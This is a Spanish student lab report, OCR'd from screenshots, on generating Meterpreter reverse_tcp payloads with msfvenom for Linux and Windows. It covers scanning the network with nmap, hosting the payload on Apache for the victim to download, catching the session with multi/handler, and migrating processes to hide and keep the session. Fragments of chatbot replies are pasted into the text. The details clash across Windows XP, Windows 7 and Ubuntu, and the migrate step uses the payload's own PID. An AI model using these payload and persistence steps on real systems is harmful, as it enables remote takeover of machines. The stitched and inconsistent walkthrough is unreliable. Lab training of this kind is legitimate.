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1 Introduccion
En este informe, se presenta la realizacién de la practica hacking usando la
herramienta MsfVenom, esta usa lineas de comandos que se utiliza para
generar payloads personalizados para una amplia variedad de sistemas operativos y
arquitecturas.
Claro, aqui tienes una explicacion detallada y académica sobre el uso de msfvenom en un

entorno de laboratorio controlado, siguiendo la estructura que has solicitado.

1.1 Advertencia de Uso Etico

Toda la informacién y los comandos presentados a continuacion estan destinados
exclusivamente a fines educativos y de investigacion en ciberseguridad dentro de
un entorno de laboratorio controlado y aislado, como VirtualBox. El uso de estas
herramientas contra sistemas, redes o personas sin autorizaciéon explicita y por
escrito es ilegal y esta severamente penalizado. El objetivo es aprender a defender

sistemas, no a atacarlos.

1.2 ;Qué es msfvenom y como se usa en laboratorios?

msfvenom es una herramienta de linea de comandos que forma parte del Metasploit
Framework, una de las plataformas mas reconocidas para el desarrollo y ejecucion de
exploits. La funcién principal de msfvenom es la generacion de payloads.

En el contexto de la ciberseguridad, un payload (o carga util) es el codigo que se
ejecutara en un sistema objetivo después de que una vulnerabilidad haya sido explotada
con éxito. Este codigo realiza la accion deseada por el investigador de seguridad, como

por ejemplo, abrir una shell remota para controlar el sistema.
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msfvenom es, en esencia, una combinacién de dos herramientas anteriores de Metasploit:
msfpayload (para generar el payload) y msfencoder (para codificarlo y evadir software de
seguridad basico). Su uso en laboratorios es fundamental para:

« Simular ataques controlados: Permite a los estudiantes y profesionales crear
artefactos maliciosos simulados para entender cémo funcionan.

e« Probar defensas: Se utiliza para generar ejecutables que pueden ser usados para
probar la eficacia de antivirus, EDR (Endpoint Detection and Response), firewalls y
otras medidas de seguridad.

e Aprender sobre arquitecturas de sistemas: Obliga al usuario a entender las
diferencias entre sistemas operativos (Windows, Linux), arquitecturas (x86, x64) y

formatos de archivo (EXE, ELF).

1.3 Comando de msfvenom para un sistema victima Linux
Para este escenario, crearemos un payload que nos dara una sesiéon de Meterpreter en
un sistema Linux de 64 bits. Meterpreter es un payload avanzado que se ejecuta en
memoria y ofrece una gran flexibilidad para interactuar con el sistema victima.
o Payload a usar: linux/x64/meterpreter/reverse_tcp
o linux/x64: Especifico para Linux de 64 bits.
o meterpreter: El tipo de sesién avanzada que queremos.
o reverse_tcp: La maquina victima se conectara de vuelta a nuestra maquina
atacante. Esto es util para evadir firewalls en la red de la victima, que a
menudo bloquean conexiones entrantes pero permiten las salientes.
o Formato de salida: f elf
o ELF (Executable and Linkable Format) es el formato estandar para

archivos ejecutables en sistemas operativos tipo Unix, incluyendo Linux.

Pagina | 6



Universidad Tecnolégica del Choco
Diego Luis Cordoba

Ingenieria on Tfeyecplwmc,imes
¢ Ruta de guardado: ~/CLASE/archivo.elf
o ~: Representa el directorio /home/kali.
o CLASE: Un directorio de trabajo que creamos para organizar los archivos.
o archivo.elf: El nombre del archivo de salida.
¢ Comando de ejemplo:
Supongamos que la IP de nuestra maquina Kali Linux en la red de VirtualBox es
192.168.56.101 y queremos que la victima se conecte al puerto 4444.
Bash
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=4444 -f
elf -o ~/CLASE/archivo.elf
o -p: Especifica el payload.
e LHOST: (Listening Host) La direccién IP de la maquina atacante (Kali) donde el
payload debe conectarse.
o LPORT: (Listening Port) El puerto en la maquina atacante que estara a la escucha.
o -f: Especifica el formato del archivo de salida.

e -0: Especifica el nombre y la ruta del archivo de salida.

1.4 Comando de msfvenom para un sistema victima Windows
El proceso es conceptualmente idéntico, pero los parametros deben ajustarse para el
sistema operativo Windows.
o Payload a usar: windows/meterpreter/reverse_tcp
o windows: Especifico para el sistema operativo Windows. La arquitectura
(32 o 64 bits) suele ser manejada automaticamente por el payload, pero se
puede especificar con windows/x64/meterpreter/reverse_tcp para mayor

control.
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o meterpreter/reverse_tcp: La misma logica que en Linux.
 Formato de salida: -f exe
o EXE (Executable) es el formato de archivo ejecutable estandar para
sistemas operativos Windows, basado en la estructura de Portable
Executable (PE).
¢ Ruta de guardado: ~/CLASE/archivo.exe
e Comando de ejemplo:
Usando la misma IP de Kali (192.168.56.101) y el mismo puerto (4444).
Bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=4444 -f

exe -0 ~/CLASE/archivo.exe

1.5 Diferencias entre generar payloads para Linux y Windows

Caracteristic
Linux Windows
a
ELF (.elf): Formato
estandar para ejecutables. PE (.exe): Formato estandar de
Formato y La extension no es ejecutable. La extension .exe es
Extension estrictamente necesaria fundamental para que el sistema lo
para la ejecucion, pero es reconozca como tal.
una buena practica.
Payloads La ruta del payload La ruta del payload comienza con
Disponibles comienza con linux/. Ej: windows/. Ej:

Pagina | 8



Universidad Tecnolégica del Choco
Diego Luis Cordoba

Ingenieria en Telecomunicaciones
e Informatica

Caracteristic

Linux Windows
a

linux/x86/shell_reverse_tcp windows/x64/powershell_reverse_tc

p.

Para forzar una Para forzar una arquitectura o
Parametros

arquitectura o plataforma: - plataforma: --platform windows -a
Adicionales

-platform linux -a x64 x86

~/CLASE o

/home/kali/CLASE: Un

directorio de proyecto

personal.<br>/var/www/ht No aplica directamente en la

ml: El directorio raiz del maquina atacante, pero en la
Rutas de servidor web Apache en maquina victima, las rutas de
Trabajo Kali. Es muy comun interés suelen ser

colocar el payload aqui C:\Users\User\Downloads o

para que la maquina C:\Windows\Temp.

victima lo descargue a

través de una pagina web

simulada en el laboratorio.

1.6 Migracion de Procesos (migrate) en Meterpreter
Una vez que se obtiene una sesion de Meterpreter, esta se esta ejecutando dentro del

proceso que lanzé el payload. Si ese proceso se cierra (por ejemplo, el usuario cierra el
Pagina | 9
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programa vulnerable o el propio ejecutable del payload), la sesion de Meterpreter se
pierde. La migracion de procesos es una técnica para mover la sesién de Meterpreter
de un proceso a otro mas estable.

e ¢Por qué en Linux casi nunca funciona bien?

La migracién en Linux es técnicamente muy compleja y a menudo falla por varias
razones:

1. Aislamiento de Procesos: El kernel de Linux implementa un modelo de memoria
y de procesos muy estricto. Un proceso no puede escribir o interferir facilmente en
el espacio de memoria de otro, a menos que tenga privilegios de root y use
mecanismos especificos como ptrace.

2. Procesos Estables: A diferencia de Windows, Linux no tiene un proceso
"contenedor" de la sesién de usuario como explorer.exe. Los procesos del sistema
son muy robustos y estan fuertemente protegidos. Intentar inyectar cédigo en un
proceso critico como systemd o sshd es extremadamente propenso a causar
inestabilidad y hacer que el sistema se caiga (kernel panic).

3. Falta de APIs Estandar para Inyecciéon: Windows posee una API (Win32 API)
con funciones como CreateRemoteThread que, aunque no fueron disefiadas para
fines maliciosos, facilitan la inyeccién de cédigo en otros procesos. Linux carece

de un equivalente directo y universal.

1.7 ¢Por qué en Windows es una técnica comun y efectiva?
En Windows, la migracion es una de las primeras acciones que se realizan tras obtener
una sesion para asegurar la persistencia y la estabilidad.

1. Procesos de Larga Duraciéon: Windows tiene procesos que se ejecutan durante

toda la sesion del usuario o del sistema.

Pagina | 10



Universidad Tecnologica del Choco
Diego Luis Cordoba

Ingenieria en Telecomunicaciones
e Informatica

o explorer.exe: Es el proceso que gestiona el escritorio, la barra de tareas y
el explorador de archivos. Se ejecuta con los permisos del usuario que ha
iniciado sesion y permanece activo hasta que este cierra sesion. Migrar a
explorer.exe hace que la sesién dure tanto como la del usuario.
o svchost.exe: Es un proceso genérico del sistema que aloja uno o mas
servicios de Windows. Hay multiples instancias de svchost.exe
ejecutandose con diferentes niveles de privilegio (SYSTEM, NETWORK
SERVICE, etc.). Migrar a un svchost.exe que se ejecuta como NT
AUTHORITY\SYSTEM puede escalar privilegios y hacer que la sesion
persista incluso si el usuario cierra sesion.
2. Estabilidad: Si el payload se ejecutdé desde un programa inestable (como un
navegador que puede cerrarse o un documento de Office), migrar a un proceso
estable como los mencionados anteriormente asegura que un simple "Cerrar
programa" del usuario no termine la conexion.
e Ejemplo académico de migracion en Windows:
Dentro de una sesion de Meterpreter en una maquina Windows:

1. Listar los procesos activos:

2. meterpreter > ps
Esto mostrara una lista de procesos, su PID (Process ID), el nombre del ejecutable y el
usuario con el que se esta ejecutando.

3. Identificar un proceso adecuado:

Busca en la lista explorer.exe que se ejecuta bajo el nombre del usuario actual, o un
svchost.exe que se ejecute como NT AUTHORITY\SYSTEM. Anota su PID. Por ejemplo,
supongamos que explorer.exe tiene el PID 2176.

4. Ejecutar la migracion:
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5. meterpreter > migrate 2176

Si la operacién tiene éxito, Meterpreter confirmara la migracion. La sesion ahora se esta

ejecutando dentro del proceso explorer.exe y es mucho mas resiliente.

1.8 Resumen Comparativo en Tabla: Linux vs. Windows

Caracteristic

Entorno Linux (Victima)

Entorno Windows (Victima)

del Archivo

a
Payload linux/x64/meterpreter/reverse_t windows/meterpreter/reverse_t
Tipico cp cp
Formato de

-f elf -f exe
Salida
Extension

.elf (o sin extensién) .exe

Comando msfvenom -p linux/[...] -f elf -0 msfvenom -p windows/[...] -f
de Ejemplo archivo.elf exe -0 archivo.exe
Ruta de

En Kali: En Kali:
Entrega

/var/www/html/archivo.elf Ivarlwww/html/archivo.exe
(Ejemplo)
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Caracteristic
Entorno Linux (Victima) Entorno Windows (Victima)
a
Posibilidad
Muy baja y poco fiable. No es Alta y muy fiable. Es una
de
una practica comun. practica recomendada.
Migracion
explorer.exe (estabilidad de
Proceso
sesién de usuario), svchost.exe
Objetivo No aplica generalmente.
(persistencia y privilegios de
(Migracion)
sistema).
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2 Alcance
Entrar al sistema de la victima.
Generar un archivo con el cual sera explotada la vulnerabilidad del sistema.

llustrar por medio de imagenes los pasos realizados para vulnerar el equipo.
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3 Objetivos
3.1 General
Atacar el sistema de un equipo con Windows XP y Ubuntu con la herramienta
msfvenom.
3.2 Especificos
e Crear el archivo del virus con la herramienta msfvenom.
e Explotar a vulnerabilidad del sistema.

e Ejecutar comando dentro de este.
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4 Desarrollo del Problema
4.1 Capitulo 1 - Creacion de archivo
Para iniciar esta practica, primero hizo un el escaneo de red para verificar que el
equipo victima estaba conectado en la red. Para esto en la consola root, se ejecuto el

comando nmap -0 -sV + (segmento de red).

/home/kali
map -0 -sV 170.200.140.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-02 09:51 EDT
Stats: 0:00:17 elapsed; 251 hosts completed (4 up), 255 undergoing H
Parallel DNS resolution of 1 host. Timing: About 0.00% done
Nmap scan report for 170.200.140.1
Host is up (0.00045s latency).
All 1000 scanned ports on 170.200.140.1 are in ignored states.
Not shown: 1000 closed tcp ports (reset)
MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)
Warning: 0SScan results may be unreliable because we could not find
closed port
Device type: specialized|VoIP phone
Running: 2N embedded, Grandstream embedded
0S CPE: cpe:/h:2n:helios cpe:/h:grandstream:gxpl105
0S details: 2N Helios IP VoIP doorbell, Grandstream GXP1105 VoIP pho
Network Distance: 1 hop

Nmap scan report for 170.200.140.2

Host is up (0.00087s latency).

Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC

445/tcp open microsoft-ds?

808/tcp open mc-nmf .NET Message Framing

MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)

Warning: 0SScan results may be unreliable because we could not find a
closed port

Device type: VoIP phone|webcam|specialized|firewall

Running (JUST GUESSING): Grandstream embedded (91%), Garmin embedded

88%), FireBrick embedded (85%), Enlogic embedded (85%), lwIP (85%)

0S CPE: cpe:/h:grandstream:gxpl105 cpe:/h:garmin:virb_elite cpe:/h:2n

rick:fb2700 cpe:/a:lwip_project:lwip

Aggressive 0S guesses: Grandstream GXP1105 VoIP phone (91%), Garmin V
era (90%), 2N Helios IP VoIP doorbell (88%), FireBrick FB2700 firewal
(FreeRTOS/1wIP) (85%)

No exact OS matches for host (test conditions non-ideal).

llustracion 1. Escaneo de red.
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Como se puede observar, se descubrio la IP del equipo con Windows, la cual fue
la 170.200.140.2.

Una vez se descubri6 la direccion IP del equipo, se paso a crear el archivo con la
herramienta MsfVenom. Para usar esta herramienta ejecutamos la linea de cédigo de
esta manera: msfvenom -p Windows/meterpreter/reverse_tcp --platform windows -a
x86 -f exe Ihost=(direccion ip local) Iport=(puerto local) -o
/home/Kali/Desktop/(nombre del archivo mas su extension).

Para explicar la linea de cddigo, toca listar los parametros:

e Msfvenom: Comando inicial para la creacién del archivo.

e -p: Indica cual es el payload que se usara.

e --platform: Indica la plataforma a la cual esta dirigido.

e -a: Con esto se indica la arquitectura sobre la que trabajara

e -f: Este se usa para indicar el tipo de archivo.

e Lhost: Para indicar la direccién IP del atacante.

e Lport: Para indicar el puerto del atacante.

e -0: Indica la salida, o mejor dicho el lugar dénde se creara el archivo.

~/CLASE
linux/x64/meterpreter/reverse_tcp LHOST=17@
~/CLASE/satena.elf

[-]1 No platform was selected, choosin
[-] No arch sel ed, se

No encoder sp

Payload size:

Final size of -
Saved as: /froot/CLASE/satena.elf

~/CLASE
777 /root/CLASE/satena.elf

~/CLASE
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Al darle enter, para ejecutar el comando se crea el archivo y nos muestra el
tamano del payload y el tamafio final del archivo creado, también la ruta donde este fue
guardado.

Al crear el archivo, este fue creado sin privilegios, por eso se le fueron dados con

el comando “chmod 777 + ruta/del/archivo.exe”. (ver ilustracion 5)

Archivo Acciones Editar Vista Ayuda

~/CLASE
777 /root/CLASE/satena.elf

4.2 Capitulo 2 — Descarga de archivo en windows 7
Para este paso, lo que se hizo inicialmente fue iniciar el servicio de Apache2, para
iniciar el servidor http y asi visualizar los archivos de la ruta que se configuro.

Con el comando “service apache2 start” se inicia este servicio.

~/CLASE

apache? start
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Para verificar que el servicio fue activo, se ejecutd el comando “service apache2

status”.

~/CLASE
apache2 status
e apache2.service - The Apache HTTP Server
Loaded: loaded (/usr/lib/systemd/system/apache2.service; disabled; preset: disable>
Active: active (running) since Wed 2025-09-03 10:05:13 -05; 17s ago
Invocation: 98b2564afal943609b67dd121bbc0536
Docs: https://httpd.apache.org/docs/2.4/
Process: 31802 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCESS)
Main PID: 31818 (apache2)
Tasks: 6
Memory: 21.4M (peak: 21.7M)
CPU: 116ms
CGroup: {system.slice/apachez.service

E

Como se puede observar, el estado dice que esta activo y corriendo, ya con eso

verificado se pudo llevar a cabo el ingreso desde XP Y LINUX.

Pagina | 19



Universidad Tecnologica del Choco
Diego Luis Cérdoba
Ingenieria en Telecomunicaciones
e Informatica

En el Windows o Linuz en el navegador Internet Explorer, se colocd la ip del dispositivo
atacante, que era la 170.200.140.12; Al poner esta IP se cargé la pagina que esta por

defecto en el apache2.

‘s @) a e ¥ \

>
o
o
[a)
>
"
N
o
®
o
o
E
=]
-y
o
£
-
o
o
a
"

-~

\

Ot pstema, ¥ you can read thes page, it me Wt the Apache NTTP 3o
HOuld replace this file (Jocated at /var Aea/NInL/ index hiel) before CONtnung TO Operate

your HTTP server

peoperty ¥

v OF This wed Site and dont now what this p. R, This probalily means That the

y unavallabie due to mantenance. If the prodiem persists,

"
o
8
2

TSI AT URT TN

Bi ' 7 !

Debian's Apache? defauit configuration is different

» nd spie w1t
% Pully documented in fuse/

mentation for the web

% OpEenied 10r Interaction with Debian ¢
share/ pachel/README Deblan gz Aefer to the fo Wl doc
rver ILSelf can e found by accessing the manual If the apachel - 00 ¢

! x

an INS Serves

The configuration layout for an Apachel web server installaton on Deban systems is a3 follows

/etc/apached/
apachel . cont
ports.conf
mods - enabled

*. load
*_conf
cont enabled
*. conf
sites-enabled
. _cont
”~0
L
e

Una vez se verifica que funciona, se regreso al Kali para cambiar una carpeta en los
archivos del sistema para asi poder visualizar, en el windows los archivos. (ver ilustracion

9) Para cambiar esto, se abrié el administrador de archivos de Kali y dentro de los
archivos del sistema se abrié la carpeta var.

= File System - Thunar
File Edit Viev o Bookmarks Help
+ = o]

Places

Computer media

B kali
— | Desktop

Documents

Music ‘

Pictures %

Vid | |

@) Downloads - =

initrd.img initrd.img.old swapfile vmlinuz

Devices
| g File System
B} s _Talleres...

MNetwork

™ e At 20 folders | 5files: 1.2 GIB (1,248,574,191 bytes) | Free space: 51.6 GiB

Pagina | 20



Universidad Tecnologica del Choco
Diego Luis Cérdoba

Ingenieria en Telecomunicaciones
e Informatica

Antes de abrir la carpeta html, se tuvo que abrir como administrador(root) para esto se le

dio clic derecho a la carpeta y se selecciond la opcion “Open as Root”.

O m

Open in Meww Takb
e ime e WY mea oo
Oy WNWITh

Sermnd To

o oy

COrpen Termiinal Here

O pen as Root

Dentro de esa carpeta estaba la capeta denominada “www” la cual contenia otra
carpeta denominada “html”, dentro de esta ultima se encontraban 2 archivos html (ver
ilustracién 10); de estos dos archivos so6lo se modificd el que tenia el nombre

“index.html”.

html - Thunar
. File Edit View Go Bookmarks Help
+ + A B var www html
Places
BE Computer L L

B kali
~  Desktop

index.html index.nginx-
debian.html
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Para modificar el archivo, se le dio clic derecho sobre el mismo y se selccioné a

opciéon “Rename”, para renombrar el archivo.

Bt = Thauinar

satena.himil

Dispasitivos

E Sistema de arch...

Luego de haber hecho la modificacion, se actualizé el navegador y como se puede ver en

la ilustracion, se iniciaron a mostrar los archivos de esa ruta.

Z Kame Last mosdified Size Description
? | ’.j indeLnging -debdan heml 2025-08-14 08:11 G15
ol &) satenabim] D508 14 0815 10K

ApacheZ 53 {Deibian) Server at [A0L200 1407 Port 80
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Cuando ya se verifico, de que los cambios realizados en Kali se mostraban en el windows
lo que se hizo, fue copiar el archivo llamado “satena.exe”. Para hacer esto, se buscoé la
ubicacién del archivo con ayuda de los comandos Is y ¢d, una vez se estaba en la ruta del
archivo se copié con el comando cp + nombre del archivo + ruta/dénde/se/pega como

se muestra.

~/clase

satena.exe

~/clase
satena.exe /var/ww/html

Al actualizar nueva mente la pagina, se mostraréon todos los cambios realizados en el

directorio y como se puede ver, ahi se encontraba el archivo que fue copiando.

o - ; + o
= &
Name Last modified Sike Description
i) index niny-debian htm] 20250814 0811 615
25409-03 10:57 TIK
] zatena bitml] 20250814 0&-15 10K
acheZ 483 (Delsan) Server aft | L2000 T40. T Port 80
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Al darle clic en el archivo, en la parte inferior se muestran unas opciones, para

poder ejecutar, guardar o cancelar. Aqui se selecciond la opcion de guardar.

Y como se puede observar, aqui ya se hizo la desgarga del archivo y se encuentra dentro

del escritorio.
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4.3 Capitulo 3 — Hacking
Para la realizacion de este paso lo primero que se hizo, fue entrar a msfconsole

que es el framework de metasploit.

/home/kali

Metasploit tip: View a module's description using info, or the enhanced
version in your browser with info -d

METASPLOIT by Rapid7

EXPLOIT

RS A /

AN A
>4
. LoOT
, ol
PAYLOAD DY ff (_1l_
i)
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Luego, se busco la vulnerabilidad multi/handler con el comando search.

File Actions Edit View Help

msf6 > search multi/handler

Matching Modules

Name Disclosure Date Rank
Description

exploit/linux/local/apt_package_manager_persistence 1999-03-09
APT Package Manager Persistence

exploit/android/local/janus 2017-07-31 manual
Android Janus APK Signature bypass
auxiliary/scanner/http/apache_mod_cgi_bash_env 2014-09-24 normal
Apache mod_cgi Bash Environment Variable Injection (Shellshock) Scanner

exploit/linux/local/bash_profile_persistence 1989-06-08 normal
Bash Profile Persistence

exploit/linux/local/desktop_privilege_escalation 2014-08-07

Desktop Linux Password Stealer and Privilege Escalation

\_ target: Lin x86 .

\_ target: Linux x86_64
exploit/mULti/handler . manual
Generic Payload Handler
exploit/windows/mssql/mssql_linkcrawler 2000-01-01
Microsoft SQL Server Database Link Crawling Command Execution
exploit/windows/browser/persits_xupload_traversal 2009-09-29
Persits XUpload ActiveX MakeHttpRequest Directory Traversal
exploit/linux/local/yu ackage_manager_persistence 2003-12-17
Yum Package Manager Persistence

Como se muestra en la imagen el identificador para este modulo es el nimero 7, entonces

con el comando “use” se seleccionara ese modulo.

msf6 > use 7
Using configured payload generic/shell_reverse_tcp

msf6 exploit( ) 2
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Con el comando “show options” se visualizo si estaban configuradas las opciones para

este modulo y como se pudo observar, aun no estaban configuradas.
msf6 exploit( ) > show options

Payload options (generic/shell_reverse_tcp):

Name Current Setting Required Description

LHOST The listen address (an interface may be specified)
LPORT b4l S The listen port

Exploit target:
Id Name

@ Wildcard Target

View the full module info with the . command.

psf6 exploit( ) > |

Luego, con ayuda del comando “set” se hizo la configuracion del payload, el lhost y el
Iport.

msf6 exploit( ) > set payload linux/meterpreter/reverse_tcp

The value specified for payload is not val
msf6 exploit( > set payload linux, /meterpreter/reverse_tcp
payload = linux/x86/mete r/reverse_tcp

> set lhost 170.200.140.7
L = 170.200.140.7
:§6 exploit( ) > set lport 4678

lport = 4678
msf6 exploit( I |

Luego de realizar la configuracién se hizo el ataque con el comando “exploit”.

f6 exploit( ) > exploit
Started reverse TCP handler on 170.200.140.7:4678
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Pero este se quedo esperando, debido a que para poder tener el acceso a la maquina, se

tenia que ejecutar el archivo ‘.exe’ que se descargd en el equipo.

archivas Dietcargas

Una vez fue ejecutado el archivo, se inici6 la sesidon en meterpreter y se obtuvo control

total del equipo.

Con el comando “sysinfo” se pudo ver la informacion del sistema, confirmando que si se

habia entrado al sistema.

meterpreter > sysinfo

Computer : 170.200.140.12

0s : Ubuntu 24.04 (Linux 6.14.0-29-generic)
Architecture : x64

BuildTuple : 1486-1linux-musl
Meterpreter : x86/linux
fﬂeti—'l‘!‘et?!‘ > l
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Al abrir el administrador de tareas de Win xp, se vio que este archivo se encuentra

expuesto, y faciimente se puede finalizar el proceso y cerrar la sesién.

Aplicaciones | Procesos |Ser'u'it:ios I Rendimiento I Fundiones de red I Usuarius|

Mombre de imggen Mombre ... CPU Memoria ... Descripddn
CSI55, 248 Qo 1.524 KB

dwm.exe Juan Ar... 00 1356 KB Administr...
explorer.exe Juan Ar... 00 21.528KE Explorado...
iexplore.exe Juan Ar... oo 10.276 KB  Internet...
iexplore.exe *32 Juan Ar... oo 13.9468KE Internet...
msedge. exe Juan Ar... 00 21.668KE Microsoft ...
msedge. exe Juan Ar... 00 6.056 KB  Microsoft ...
msedge.exe Juan Ar... 00 36.420KB  Microsoft ...
msedge. exe Juan Ar... 00 24675 KB  Microsoft ...
msedge.exe Juan Ar... 00 3.400KE Microsoft ...
msedge. exe Juan Ar... 00 LE76KE Microsoft...
msedge.exe Juan Ar... 00 8.960KE  Microsoft ...
msedge. exe Juan Ar... 00 16.000 KB Microsoft ...
presentadonarys.exe 32 Juan Ar... oo 2.728KB ApacheBe...
taskhost.exe Juan Ar,.. 00 4,596 KB Proceso d...

Para evitar que ese proceso sea finalizado y se cierre la sesién, lo que se hara sera
migrar el proceso, para que quede oculto sobre otro. Esto se hace con el comando
“‘migrate” pero antes de migrarlo toca ver la lista de procesos para poder saber el
identificador de cada proceso y eso se hace con el comando “ps”.

meterpreter > ps

Process List

PID PPID Name Arch Session User Path

e.exe
1384 presentaciona x86 JuanArriaga-W7\Juan A C:\Users\Juan Arriaga
rys.exe rriaga-W7 -W7\Downloads\present

1200 explorer.exe  x64 JuanArriaga-W7\Juan A C:\Windows\explorer.e
rriaga-Ww7 Xe

llustracion 2. Listado de procesos.
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Luego de ver el identificador el proceso ahora si se procedioé a migrarlo, para este caso se

iba a migrar el proceso de satena.exe a explorer.exe.

meterpreter > migrate 1384

Migrating from 2712 to 1384 ...
Migration completed successfully.

Espero que esta explicacién académica, detallada y paso a paso te sea de gran utilidad

para tus practicas en un entorno de laboratorio seguro y controlado.
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5 Problemas encontrados
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6 Soluciones de los Problemas
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7 Glosario

Hash: una funcion o método para generar claves o llaves que representen de
manera casi univoca a un documento, registro, archivo, etc.

Bypassuac: Término utilizado en ciberseguridad para referirse a técnicas o
métodos que permiten evadir el Control de Cuentas de Usuario (UAC) en sistemas
Windows, obteniendo asi privilegios elevados sin requerir la intervencion del usuario.

Www: abreviatura de "World Wide Web", que se refiere a un sistema de
informacién en linea que permite el acceso a documentos vinculados entre si a través de
internet.

Html: Lenguaje de marcado utilizado para el desarrollo de paginas web. Sus siglas
significan "HyperText Markup Language" (Lenguaje de Marcado de Hipertexto), y se
utiliza para estructurar el contenido y el disefio de las paginas web mediante etiquetas y

atributos.
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8 Recomendaciones
Es recomendable que cuando se esté haciendo este tipo de procedimientos, estar muy
atento, de la conexién del dispositivo, que el equipo cuente con una buena cantidad de

memoria y que cuente con un buen procesamiento.
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9 Conclusiones
Se realiz6 el hacking a la maquina virtual con Windows y linux con ayuda de la
herramienta msfvenom, y se pudo crear el archivo con el que se hizo la conexion al
sistema. Dentro de este se hizo captura de los caracteres que se escribieron en el
windows y se pudo obtener los cifrados de las contrasefias de los usuarios de windows.
La practica fue muy entendible y facil de realizar, aunque hubo inconvenientes,

estos fueron realizados con éxito.
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10.1 INSTALACION DE UBUNTU

INSTALACION UBUNTU

& General 3 Previsualizacién

Nombre:

Grupos:

E Sistema

rden de arranque:
Aceleracion: a d cion KVM
2 pantalila

Memoria d
or gr
or de escritorio remoto: Inhabilitado
cion: Inhabilitado

# Aimacenamiento

or de anfitrion: Predeterminado
ICH ACS

Adaptador 1: Intel PRO/1000 MT Desktop (Red NAT,

OHCI, EHCI
0 (0 activo)

I Carpetas compartidas
Ninguno
(=] Descripcion

Ninguno

Ar Maquina  Ayuda

§] e

V' MV Hacking 2 Previsualizacion

Metasploitable2
Apagada

O
74 server

()
7Y © Apagaca

Tipo:  Linux

fg'l WINDOWS XP
8B © Apagada

Terminar Cancelar

Pagina | 37



Universidad Tecnolégica del Choco
Diego Luis Cordoba

Ingenieria en Telecomunicaciones
e Informatica

Nombre:

'ﬁ' ubuntu - Settings
Basic
D General
Sistema
Pantalla
Almacenamiento

Audio

ubuntu

Heda

Adaptador 1

v Habilitar adaptador de red

Conectado a:
Nombre:
Tipo de adaptador:

Modo promiscuo:

Adaptador 2

Adaptador 3 Adaptador 4
Red NAT

semestre-9-2025-1

Intel PRO/1000 MT Desktop (82540EM)

Denegar

Red

Direccion MAC: itir MVs
Puertos serie Permitir todo

USB

Carpetas compartidas Puertos serie

Puerto 1

ERssGrvradn

Puerto 2 Puerto 3 Puerto 4

Interfaz de usuario

Enable Serial Port

Aceptar Cancelar Ayuda

GNU GRUB wersion 2.12

Try or Install Ubuntu

Ubuntu (safe graphics)
Test memory

Use the T and | keys to select which entry is highlighted.

Press enter to boot the selected 035, ‘e
before booting or ‘c’ for a command-line.
The highlighted entry will be executed awtomatically in 23s.

to edit the commands
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Le damos la bienvenida a Ubuntu

Elija su idioma:

Lymraeg
Dansk
Deutsch
U b U n tU Eesti
English
Espanol
Esperanto
[ ] Siguiente
a
Accesibilidad
Accesibilidad en Ubuntu
Personalice Ubuntu segln sus necesidades antes de la puesta en
marcha. Puede cambiarlo més tarde en Configuracién del sistema.
@ Vision >
V¢ Audicién >
= Mecanografia b
() Senalary pulsar 5
Q. Ampliacién >
Altras ® Siguiente
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Disposicion del teclado

Elija la disposicion del teclado Detectar
Eslovaco
Esloveno
Espafiol
Espanol (latinoamericano)

Esperanto

seleccione la variante del teclado: Espanol (latinoamerica...

Escriba aqui para probar el teclado

Albras [ ] Siguiente

r
Probar o instalar Ubuntu
;Qué quiere hacer con Ubuntu?
(o] Instalar Ubuntu
Instalar Ubuntu junte con (o en lugar de) su sistema
operativo actual. No deberia tardar mucho.
¢ Probar Ubuntu
- Puede probar Ubuntu sin efectuar ningdn cambio en el
equipo.
Afbras L ] Siguiente
.
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Atrés

Accessibility Menu

Seeing

Hearing

Typing

Pointing and Clicking

Instalando el sistema...

Cree su cuenta

Cree su cuenta

Sunombre

OPTIMUX_PRIME V]

El nombre del equipo
optimux-prime-VirtualBox (]

Elija un nombre de usuario

opkimux-prime (]

Elija una contrasena

@ Mostrar  Contrasefia débil

[.C'D.Tlrme su contrasena J o

Solicitar mi contrasena para acceder

[ ] utilizar Active Directory

[ ] Siguiente

Ubuntu 24.04.3 LTS

Accesibilidad para todos

La filosofia de Ubuntu se basa en la creencia de que la informatica es para todos. Con
herramientas avanzadas de accesibilidad y opciones para cambiar el idioma, los
colores y el tamano del texto, Ubuntu Facilita la informatica, seas quien seas y estés
donde estés.

@ compatibilidad linguistica @ Lector de pantalla Orca  [=)
LibreOffice writer
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r
Finalizo la instalacion e

Ubuntu 24.04.3 LTS estd instalado vy listo para usarse

Reinicie para completar la instalacién o continuar las pruebas.
Los camblos que realice no se guardaran.

3desep 07:19

O

)\

OPTIMUX_PRIME
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3desep 07:20

Le damos la bienvenida a Ubuntu 24.04.3 LTS

Complete su configuracién con opciones adicionalesy lo
tendremos listo y funcionando en poco tiempo

Ver novedades de la versién
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